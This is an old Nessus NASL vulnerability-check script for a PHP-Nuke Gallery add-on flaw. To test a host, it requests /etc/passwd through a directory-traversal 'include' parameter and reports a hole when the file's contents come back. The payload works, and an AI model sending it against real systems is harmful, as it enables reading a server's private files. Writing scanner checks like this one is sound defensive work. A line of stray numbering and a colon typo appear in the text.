1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
|
#
# This script is (C) 2001 Renaud Deraison
#
if (description)
{
script_id(10810);
script_name(english:"PHP-Nuke Gallery Add-on File View");
desc["english"] = "
The remote PHP-Nuke service has a bugged version of the
'Gallery' Add-on which allow attackers to read arbitary
files on this host.
Impact:
Every file that the webserver has access to can be read by anyone.
Solution: Disable this add-on
Risk factor : High";
script_description(english:desc["english"]);
script_summary(english:"Determine if a remote host is vulnerable to the gallery vulnerability");
script_category(ACT_GATHER_INFO);
script_family(english:"CGI abuses", francais:"Abus de CGI");
script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison");
script_dependencie("find_service.nes", "no404.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
port = get_kb_item("Services/www");
if (!port) port = 80;
dir[0] = "/";
dir[1] = "/nuke/";
dir[2] = "/demo/";
dir[3] = "/phpnuke/html/";
dir[4] = "/php_nuke/html/";
dir[5] = "/php/";
dir[6] = "/phpnew/";
dir[7] = "/nuke50/";
dir[8] = string(cgibin(), "/");
if (get_port_state(port))
{
for (i = 0; dir[i] ; i = i + 1)
{
url = string(dir[i], "modules.php");
if (is_cgi_installed(url))
{
data = string(url, "?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../etc/passwd");
req = http_get(item:data, port:port);
soc = open_sock_tcp(port);
if (soc)
{
send(socket:soc, data:req);
buf = recv(socket:soc, length:1000);
if ("root:" >< buf)
{
security_hole(port):
exit(0);
}
}
}
}
}
|